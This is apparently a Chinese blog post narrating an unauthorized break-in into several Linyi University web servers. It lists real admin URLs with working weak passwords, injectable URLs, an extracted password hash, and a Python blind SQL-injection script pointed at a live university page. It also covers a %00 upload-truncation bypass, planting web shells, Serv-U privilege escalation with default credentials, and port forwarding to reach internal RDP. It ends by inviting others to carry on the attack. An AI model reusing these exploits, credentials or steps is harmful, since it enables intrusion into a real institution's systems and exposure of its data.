对临沂某大学的一次复古式检测

好长一段时间之前搞得了,后来因为比较忙所以没有整理,是一个机友要求帮忙,其实这个站做的挺烂的,直接拿wvs扫了一下,直接出了weak password的后台地址,

http://business.lyu.edu.cn/jpkc/glx/admin/manage.asp
http://business.lyu.edu.cn/jpkc/wangl2/huxiujun/admin/manage.asp

http://business.lyu.edu.cn/jpkc/sjjjgl/admin/login.asp
http://business.lyu.edu.cn/jpkc/glx/admin/login.asp
http://business.lyu.edu.cn/jpkc/wangl2/huxiujun/admin/login.asp
user:admin
password:1
这三个后台大致就是如下的样子,里面的功能基本没有一个能使的,不是报错就是权限不够。

都是在jpkc(精品课程)的目录下,应该是多个粗心管理员的所作所为。


因为后台功能大都不能使用,只得到了一些服务器信息

 服务器的有关参数  服务器名  business.lyu.edu.cn 
 服务器IP  211.64.240.206 
 服务器端口  80 
 服务器时间  2012-10-30 下午 05:17:45 
 IIS版本  Microsoft-IIS/6.0 
 脚本超时时间  90 秒 
 本文件路径  F:\sxy\jpkc\sjjjgl\admin\ServerInfo.asp 
 服务器CPU数量   个 
 服务器解译引擎  VBScript/5.6.8850 
 服务器操作系统   

转过头来看看扫出的几个注入点,

http://business.lyu.edu.cn/colum3/more.asp?bigcataid=1'
http://business.lyu.edu.cn/jiuye/gqtzs.asp?BigClassID=1'
http://business.lyu.edu.cn/colum3/readnews.asp?newsid=1'
直接使用第一个,很不错的报错

首先是放到工具里面跑一下,穿山甲之跑出了tables和column,却跑不出data,不知道是什么原因

admin	title newsid content about number passwd logins email username id
news	title newsid content about
system	title newsid content about search logo name email id
其实很多时候,注入工具多不好使,所以有一套自己的注入工具还是很重要的,修改了一个别人的python脚本为己用

本着间接和可扩展性的原则,脚本一点都不智能  - -!,但是可供自定义的地方很多,也没有多么智能的判断,毕竟是自己使用的脚本

from sys import exit 
from urllib import urlopen 
from string import join,strip 
from re import search

def check_judge(url):
	urlfile = urlopen(url) 
	htmlcodes = urlfile.read() 
	if search(judge,htmlcodes):
		return 1
	else:
		return 0
def get_tablename(): 
    tablefile = open("table.txt") 
    for line in tablefile.readlines(): 
        line = strip(line) 
        sql = join(['%20or%20exists%20(select%20*%20from%20',line,')'],'')  
        if check_judge(url+sql):
	        print "Found:",line
        else: 
            print #"Error:",url+sql
def get_columnname(tablename): 
    columnname = open("column.txt") 
    for columnnameline in columnname.readlines(): 
        columnnameline = strip(columnnameline) 
        sql = join(['%20or%20exists%20(select%20',columnnameline,'%20from%20',tablename,')'],'')
        if check_judge(url+sql): 
	        print "Found:", columnnameline,"\n"
        else: 
            print #"Error:",url+sql 
def get_datalenth(tablename,columnname): 
    for x in range(1,51): 
        sql = join(['%20or%20(select%20top%201%20len(',columnname,')%20From%20',tablename,')=',str(x)],'') 
        if check_judge(url+sql):
	        print "Found:", x,"\n" 
			break
        else: 
            print "Error:",sql
        
def get_data(tablename,columnname,lenth): 
    list = [] 
    for x in [range(48,58),range(97,123),range(65,91),range(33,48),range(58,65),range(91,97),range(123,256),range(1,33)]: 
        list.extend(x) 
    global username 
    username  = '' 
    for y in range(1,lenth+1): 
        print "Now! Crack the left ",y," of the username","Waiting~~~~~~~" 
        for z in list: 
            sql = join(["%20or%20(select%20top%201%20asc(mid(",columnname,",",str(y),",","1))%20from%20",tablename,")=",str(z)],'')  
            if check_judge(url+sql): 
				print chr(z)
				username = join([username,chr(z)],'')
				break
    print "Found the username = :",username,"\n"    
print "\n########################################################################\n" 
print " SQL Injection Scripts By LanLan with Python 2.3.x(QQ:915910623)" 
print " Email: wanglanlan2008@gmial.com" 
print "########################################################################\n";


#url = raw_input('Supply a URL to test inject =  ') 
#judge = raw_input("\nJudge string = ")
url = "http://business.lyu.edu.cn/colum3/more.asp?bigcataid=1"
judge = "2012-11-7"  
#get_tablename()
get_columnname("news")
get_datalenth("admin","passwd")
get_data("admin","passwd",16)

成功跑出了用户名和密码,不过在后台地址http://business.lyu.edu.cn/colum3/login.asp

却显示密码不正确,有点蛋疼

username:sxy
passwd:b34c037051a0adab   hsq
因为这个网站实在太破,没有继续搞下去的心思,这时候机友进去了临沂大学另一个站的后台,决定去看一下


机友直接通过这个注入点跑出了管理员密码,这个注入点很有意思,会把过滤的字符列出来,而且还没有过滤大小写

想尝试union,但是猜字段数量有点麻烦,之后会在脚本中加入这个功能

http://recenter.lyu.edu.cn/view.asp?id=822
Admin2 123456abc

登入后台之后,在文章发布页面发现,editor的版本比较陈旧,在js中找到了editor的管理信息

// Copyright (C) 2000, Microsoft, Corp. All rights reserved.
// File: rte.js
// Author: Scott Isaacs
// Contents: RTE Management Code
//  EDITOR PUBLIC (API)

根据机友提示,这里有一个%00的文件截断漏洞,但是根据我的调查发现,如果上传插件选择重命名文件存储的话,那%00截断漏洞就没有用无之处了

和IIS6.0的解析漏洞的原理相似,只不过适用性广一点,拿很常用的无惧上传类做例子,

   sFileName = Mid  (sinfo,iFindStart,iFindEnd-iFindStart)
      oFileInfo.FileName = Mid (sFileName,InStrRev (sFileName, "\")+1)
      oFileInfo.FilePath = Left (sFileName,InStrRev (sFileName, "\"))
      oFileInfo.FileExt = Mid (sFileName,InStrRev (sFileName, ".")+1)
一律使用了,InStrRve这个函数总左向右读,这就导致如果构造  test.asp%00.jpg 的话,

filename是test.asp%00      Ext是.jpg

如果插件提供了自定义路径,或者是以用户名为路径的话,还可以构造这种的

/test.asp%00/test.jpg

不过这种情况比较少

不过这个网站无所谓,他直接没有过滤asp - -!,大马小马全部传上去,准备渗透一下内网。

扫了一下ip段,发现不少,应该是独立ip的主机

-----IP:211.64.240.18-----
http://www.lyu.edu.cn/ 欢迎光临临沂大学!

-----IP:211.64.240.51-----
http://mail.lyu.edu.cn/ 临沂大学

-----IP:211.64.240.71-----
http://oa.lyu.edu.cn/ 临沂大学办公系统

-----IP:211.64.240.203-----
http://jwco.lyu.edu.cn/ 欢迎访问临沂大学教务处
http://wlxy.lyu.edu.cn/ 临沂大学物流学院

-----IP:211.64.240.204-----
http://sky.lyu.edu.cn/ 临沂大学生命科学学院

使用大马上的serv-U提权,成功创建了账户,这里稍微讲一下,serv-U提权的原理

这个serv-U 是一个 FTP服务,有默认管理员密码 和端口
erv-u>3.x版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P

使用管理员建立一个域,并添加系统级账户并执行命令,具体可以看这

http://blog.csdn.net/lup7in/article/details/7025588

成功建立超级管理员之后,却发现主机虽然开放3389,但是却连不上。

应该是内网的主机,网关只给80端口做了转发,这时候需要使用端口转发的技术

但必须要有一个外网IP,使用ice.exe,原理如下

target:3389 ---> target:21 ----> Gateway ----> source:1234  

这样建立连接后我们只需要连接本地的1234端口,便可以和对方建立3389连接,

网上说使用vpn也可以,这个应该不行,vpn有点像另一个内网,这篇文章讲得很有意思

http://hi.baidu.com/elzedsi/item/b9e66447140ffea160d7b9af

因为没有外网IP,所以渗透内网的计划就暂且搁置了,哪位大神如果有兴趣可以搞一搞。





评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值